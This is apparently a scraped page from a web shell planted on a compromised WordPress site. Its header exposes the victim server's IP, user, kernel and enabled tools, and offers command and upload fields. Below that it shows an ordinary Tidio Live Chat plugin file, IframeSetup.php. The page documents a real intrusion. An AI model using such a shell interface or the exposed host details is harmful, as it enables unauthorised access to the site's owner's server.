Warning: chmod(): No such file or directory in /home/tuempresavirtual.cl/public_html/wp-content/plugins/appointment-hour-booking/app-booking-plugin.php on line 3
403WebShell
403Webshell
Server IP : 186.64.123.29  /  Your IP : 216.73.217.94
Web Server : LiteSpeed
System : Linux house.hostinglat.cl 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : tuemp9827 ( 1016)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tuempresavirtual.cl/public_html/wp-content/plugins/tidio-live-chat/src/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tuempresavirtual.cl/public_html/wp-content/plugins/tidio-live-chat/src/Admin/IframeSetup.php
<?php

namespace TidioLiveChat\Admin;

if (!defined('WPINC')) {
    die('File loaded directly. Exiting.');
}

use Exception;
use TidioLiveChat\IntegrationState;
use TidioLiveChat\Config;
use TidioLiveChat\WooCommerceSdk\WooCommerceIntegrationService;

class IframeSetup
{
    /**
     * @var IntegrationState
     */
    private $integrationState;
    /**
     * @var WooCommerceIntegrationService
     */
    private $wooCommerceIntegrationService;

    /**
     * @param IntegrationState $integrationState
     */
    public function __construct($integrationState, $wooCommerceIntegrationService)
    {
        $this->integrationState = $integrationState;
        $this->wooCommerceIntegrationService = $wooCommerceIntegrationService;
    }

    /**
     * @return string
     */
    public function prepareAuthenticationIframeUrl()
    {
        $userId = get_current_user_id();
        $userName = get_user_meta($userId, 'first_name', true);

        $queryParams = array_merge(
            [
                'pluginUrl' => AdminRouting::getEndpointForIntegrateProjectAction(),
                'name' => $userName,
                'refId' => $this->readRefIdFromFile()
            ],
            $this->getDefaultIframeQueryParams()
        );

        $iframeBaseUrl = Config::getPanelUrl() . '/register-platforms';
        return sprintf('%s?%s', $iframeBaseUrl, http_build_query($queryParams));
    }

    /**
     * @return string
     */
    public function prepareIntegrationSuccessIframeUrl()
    {
        $queryParams = array_merge(
            [
                'panelUrl' => $this->getPanelRedirectUrl(),
                'reintegrationRoute' => $this->prepareReintegrationIframeRoute()
            ],
            $this->getDefaultIframeQueryParams(),
            $this->wooCommerceIntegrationService->getIntegrationData()->toIframeData()
        );

        $iframeBaseUrl = Config::getPanelUrl() . '/integration-success';
        return sprintf('%s?%s', $iframeBaseUrl, http_build_query($queryParams));
    }

    /**
     * @return string
     */
    private function prepareReintegrationIframeRoute()
    {
        $queryParams = array_merge(
            [
                'pluginUrl' => AdminRouting::getEndpointForIntegrateProjectAction()
            ],
            $this->getDefaultIframeQueryParams()
        );

        return sprintf('/login-platforms?%s', http_build_query($queryParams));
    }

    /**
     * @return array<string, string>
     */
    private function getDefaultIframeQueryParams()
    {
        $userId = get_current_user_id();
        $localeCode = get_user_locale($userId);

        return [
            'siteUrl' => get_home_url(),
            'localeCode' => $localeCode,
            'language' => substr($localeCode, 0, 2),
            'utm_source' => 'platform',
            'utm_medium' => 'wordpress',
        ];
    }

    /**
     * @return string|null
     */
    private function readRefIdFromFile() {
        try {
            $loadedRefIdFromFile = @file_get_contents(AFFILIATE_CONFIG_FILE_PATH);
            return trim($loadedRefIdFromFile);
        } catch (Exception $e) {
            return null;
        }
    }

    /**
     * @return string
     */
    private function getPanelRedirectUrl()
    {
        $queryParams = [
            'utm_source' => 'platform',
            'utm_medium' => 'wordpress'
        ];
        if ($this->integrationState->hasProjectPrivateKey()) {
            $queryParams['privateKey'] = $this->integrationState->getProjectPrivateKey();
            return sprintf('%s/external-access?%s', Config::getPanelUrl(), http_build_query($queryParams));
        }

        return sprintf('%s?%s', Config::getPanelUrl(), http_build_query($queryParams));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit